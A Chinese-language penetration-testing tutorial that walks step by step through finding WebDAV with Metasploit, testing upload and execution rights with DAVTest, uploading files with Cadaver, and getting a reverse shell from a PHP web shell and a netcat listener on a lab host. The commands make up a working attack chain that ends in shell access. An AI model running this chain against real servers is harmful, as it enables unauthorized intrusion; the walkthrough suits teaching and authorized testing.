在服务器上利用WebDAV并获取Shell
互联网无疑改变了我们的工作和交流方式。随着技术的进步,越来越多的人可以在世界的任何地方通过web进行协助工作。这种对远程友好的环境固有地带来了安全风险,并且黑客一直在寻找方法来将系统用于其他用途。
WebDAV或Web分布式创作和版本控制是一种协议,允许用户远程协作和编辑Web上的内容。他是HTTP的扩展,但使用其自身独特的功能来增强标准的HTTP方法和标头。
该协议主要用于远程编辑和协作,但也可以用于传输文件。默认情况下,它通常在端口80上运行,有时在端口443上运行以进行加密通信。尽管WebDAV为用户提供了从任何地方访问Web内容的能力和便利性,但是如果配置不正确,则相同的远程功能可能会带来巨大的安全漏洞。
一、检查目标是否启用了WebDAV
我们需要做的第一件事是检查是否在目标上启用了WebDAV。Metasploit有一个我们可以使用的扫描仪,因此可以通过在终端中键入msfconsole来启动它。然后,我们可以使用搜索命令找到该模块:
我们需要webdav_scanner模块,因此请使用use命令加载它:
msf5 > use auxiliary/scanner/http/webdav_scanner
现在,我们来看看该模块的选项:
现在,我们要将路径设置为/ dav /,这是WebDAV常用的目录:
msf5 auxiliary(scanner/http/webdav_scanner) > set path /dav/path => /dav/
接下来,我们可以将rhosts设置为目标的IP地址:
msf5 auxiliary(scanner/http/webdav_scanner) > set rhosts 10.10.0.50rhosts => 10.10.0.50
我们应该很好,所以键入run启动模块:
扫描程序将返回一些HTTP信息,包括Apache版本号以及是否启用WebDAV。正如我们在上面看到的,它确实已在我们的目标上启用。
二、使用DAVTest测试文件权限
我们要做的下一件事是测试服务器上的权限和文件执行策略。请记住,这里我们的最终目标是获得一个反向shell,因此我们需要知道我们要步入正轨。
DAVTest是一个方便的工具,可以自动为我们测试这些东西。只需在终端中键入davtest即可查看帮助和用法示例:
在最基本的级别上,我们要做的就是为它提供指向WebDAV实例的有效URL。自然,请使用-url开关,后跟正确的URL。
在这里,我们可以看到该工具的神奇之处。首先从测试连接开始,然后尝试创建测试目录,我们认为这是成功的。接下来,DAVTest将发送各种不同类型的文件,以确定可以上传的文件。看来所有这些都成功了。
在上面输出的末尾,我们看到了一些好东西:测试文件执行。我们可以看到它们大多数都失败了,但是TXT,HTML以及对我们来说最重要的PHP文件都将成功执行。我们现在需要做的就是找到一种上载Shell的方法。
三、使用Cadaver上载shell
在攻击的最后阶段,我们将使用一个名为Cadaver的工具,该工具提供了一个与WebDAV服务进行交互的直观界面—使用类似于FTP的简单易用的命令。
我们可以通过在终端中输入cadaver -h来查看帮助和使用信息:
在跳转到上载Shell之前,让我们使用无害的文本文件对其进行测试。首先,创建一个简单的文本文件:
root@drd:~# echo 'TESTING' > test.txt
接下来,我们可以通过提供适当的URL通过Cadaver连接到WebDAV:
~# cadaver http://10.10.0.50/davdav:/dav/>
要获取可用命令的列表,请键入?或在提示时提供帮助:
我们可以使用put命令上传测试文件:
现在,如果我们在浏览器中导航到它,我们应该看到显示给我们的文本:
由于我们现在有信心可以进行上传,因此我们现在可以退出 Cadaver,以便准备好外壳程序:
dav:/dav/> quitConnection to `10.10.0.50' closed.
Kali在/ usr / share / webshel??ls /目录中包含各种shell 。我们需要PHP反向shell,因此请使用以下命令将其复制到当前目录:
~# cp /usr/share/webshells/php/php-reverse-shell.php .
接下来,我们需要编辑一些内容,因此使用您喜欢的文本编辑器打开文件,并将IP地址更改为我们本地计算机的IP地址,并将端口更改为您选择的端口:
保存文件,并使用netcat设置侦听器以捕获传入的连接:
~# nc -lvnp 7777listening on [any] 7777 ...
在新窗口或选项卡中,再次连接到WebDAV并上载我们的shell,就像我们之前对测试文件所做的一样:
现在浏览到该文件,如果成功,我们应该看到浏览器挂起:
回到我们的侦听器,我们应该看到目标打开了一个连接:
现在,我们可以发出诸如whoami之类的命令来确认我们已危害服务器:
sh-3.2$ whoamiwww-data